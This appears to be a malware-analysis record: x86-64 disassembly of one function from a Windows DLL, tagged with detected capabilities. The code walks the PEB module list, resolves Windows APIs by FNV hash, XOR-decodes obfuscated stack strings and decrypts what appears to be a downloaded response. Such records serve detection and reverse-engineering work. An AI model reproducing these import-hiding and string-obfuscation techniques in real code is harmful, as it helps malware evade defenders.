Function at 0x180026770
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rsi, rcx
xor r12d, r12d
call fcn.18004f030
mov r15, rax
test rax, rax
jne 0x18002688e
mov r10, qword [0x180233140]
test r10, r10
jne 0x180026e21
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r14, r15
nop
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x180026853
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x180026853
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xc7cab9cf
movzx eax, byte [r8]
inc r8
test al, al
je 0x18002684e
nop
movsx ecx, al
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x180026820
cmp r9d, 0x8a50379e
je 0x180026871
test r10d, r10d
jne 0x180026800
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x180026e17
cmp qword [rax + 0x30], r12
je 0x180026e17
jmp 0x1800267d0
mov ecx, dword [rsi + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
jmp 0x180026e1a
movdqa xmm0, xmmword [0x1801fe920]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x7461632e
mov dword [rsp + 0x34], 0x72726d2f
mov word [rsp + 0x38], reloc.WS2_32.dll_WSASetLastError
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x21]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x1800268d1
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x70]
call fcn.18003a510
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
movdqa xmm1, xmmword [0x1801fde90]
movdqu xmmword [rsp + 0x78], xmm1
mov byte [rsp + 0x68], 0
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r8, qword [rbp - 0x70]
mov edx, 0x2712
mov rcx, r15
call fcn.1800535a0
xor r8d, r8d
mov edx, pe_nt_image_headers64
mov rcx, r15
call fcn.1800535a0
xor r8d, r8d
mov edx, 0x51
mov rcx, r15
call fcn.1800535a0
lea r8, [0x1800211b0]
mov edx, 0x4e2b
mov rcx, r15
call fcn.1800535a0
lea r8, [rsp + 0x68]
mov edx, 0x2711
mov rcx, r15
call fcn.1800535a0
mov rcx, r15
call fcn.18004f0a0
mov ebx, eax
lea r8, [rbp + 0x140]
mov edx, 0x200002
mov rcx, r15
call fcn.18004f000
test ebx, ebx
jne 0x180026d22
mov edx, dword [rbp + 0x140]
cmp edx, 0xc8
jne 0x180026b77
mov rcx, r15
call fcn.18004efd0
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x50]
call fcn.1800161a0
nop
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.180036e40
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x138]
call fcn.1800263e0
lea rdx, [rax + 1]
mov r8d, 0x101
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rax]
xor byte [rdx], cl
lea rdx, [rdx + 1]
sub r8, 1
jne 0x1800269f0
lea rdx, [rax + 1]
mov byte [rdx + 0x101], r8b
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
nop dword [rax]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x180026a20
mov r8, rdi
lea rcx, [rsp + 0x20]
call fcn.18003a510
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.180026620
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x180026a84
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026a7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026f50
call fcn.1800c17e8
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x180026ace
mov rdx, qword [rsp + 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026abb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026f56
call fcn.1800c17e8
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x180026b0a
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026b05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026f5c
call fcn.1800c17e8
movdqa xmm0, xmmword [0x1801fde90]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x180026b58
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026b53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026e11
call fcn.1800c17e8
mov rax, rsi
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
lea rcx, [rbp - 0x30]
call fcn.180006f30
mov r9, rax
lea rdx, [rsp + 0x20]
call fcn.180026fd0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
mov byte [rdx + 0xb], 0
mov r8, r9
lea rcx, [rbp - 0x50]
call fcn.180037520
nop
lea rcx, [rbp - 0x30]
call fcn.1800319f0
mov rdi, qword [0x180233158]
test rdi, rdi
jne 0x180026cb5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x180026c95
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x180026c95
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rbx]
add r8, r11
mov r9d, 0xc1220ebd
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x180026c90
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x180026c60
cmp r9d, 0x8c7c53bc
je 0x180026d09
test r10d, r10d
jne 0x180026c40
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x180026cab
cmp qword [rax + 0x30], 0
jne 0x180026c10
mov rdi, r12
mov qword [0x180233158], rdi
lea rdx, [rsp + 0x40]
call fcn.180026ff0
lea rbx, [rax + 1]
movzx edx, byte [rax]
xor byte [rbx], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
mov byte [rbx + 8], 0
lea rcx, [rbp - 0x50]
call fcn.180012d70
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
nop
lea rcx, [rbp - 0x50]
call fcn.1800319f0
jmp 0x180026f40
mov edx, dword [rdi + 0x1c]
add rdx, r11
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx ecx, word [rcx + r10*2]
mov edi, dword [rdx + rcx*4]
add rdi, r11
jmp 0x180026cae
mov r10, qword [0x180232f88]
test r10, r10
jne 0x180026eca
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x180026dd5
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x180026dd5
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rbx]
add r8, r11
mov r9d, 0x64ceb076
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x180026dd0
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x180026da0
cmp r9d, 0xbabeddb9
je 0x180026df4
test r10d, r10d
jne 0x180026d80
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x180026ec0
cmp qword [rax + 0x30], 0
je 0x180026ec0
jmp 0x180026d50
mov eax, dword [rdi + 0x24]
add rax, r11
movzx edx, word [rax + r10*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
jmp 0x180026ec3
call fcn.1800e1ef4
int3
mov r10, r12
mov qword [0x180233140], r10
lea rdx, [rsp + 0x40]
call fcn.180026fb0
lea r8, [rax + 1]
movzx ecx, byte [rax]
xor byte [r8], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
mov byte [rax + 9], r12b
lea rdx, [rsp + 0x20]
call fcn.180026f70
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rax + 0xa], cl
xor byte [rax + 0xb], cl
xor byte [rax + 0xc], cl
xor byte [rax + 0xd], cl
xor byte [rax + 0xe], cl
xor byte [rax + 0xf], cl
xor byte [rax + 0x10], cl
xor byte [rax + 0x11], cl
xor byte [rax + 0x12], cl
xor byte [rax + 0x13], cl
xor byte [rax + 0x14], cl
xor byte [rax + 0x15], cl
xor byte [rax + 0x16], cl
xor byte [rax + 0x17], cl
xor byte [rax + 0x18], cl
xor byte [rax + 0x19], cl
mov byte [rax + 0x1a], r12b
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call r10
xor ecx, ecx
call fcn.1800c7cf4
nop
mov r10, r12
mov qword [0x180232f88], r10
lea rdx, [rsp + 0x40]
call fcn.180027030
lea r8, [rax + 1]
movzx ecx, byte [rax]
xor byte [r8], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
mov byte [rax + 9], 0
lea rdx, [rsp + 0x20]
call fcn.180027010
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rax + 0xa], cl
xor byte [rax + 0xb], cl
xor byte [rax + 0xc], cl
xor byte [rax + 0xd], cl
xor byte [rax + 0xe], cl
mov byte [rax + 0xf], 0
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call r10
mov rcx, r15
call fcn.18004efd0
xor ecx, ecx
call fcn.1800c7cf4
nop
call fcn.1800e1ef4
nop
call fcn.1800e1ef4
nop
call fcn.1800e1ef4
int3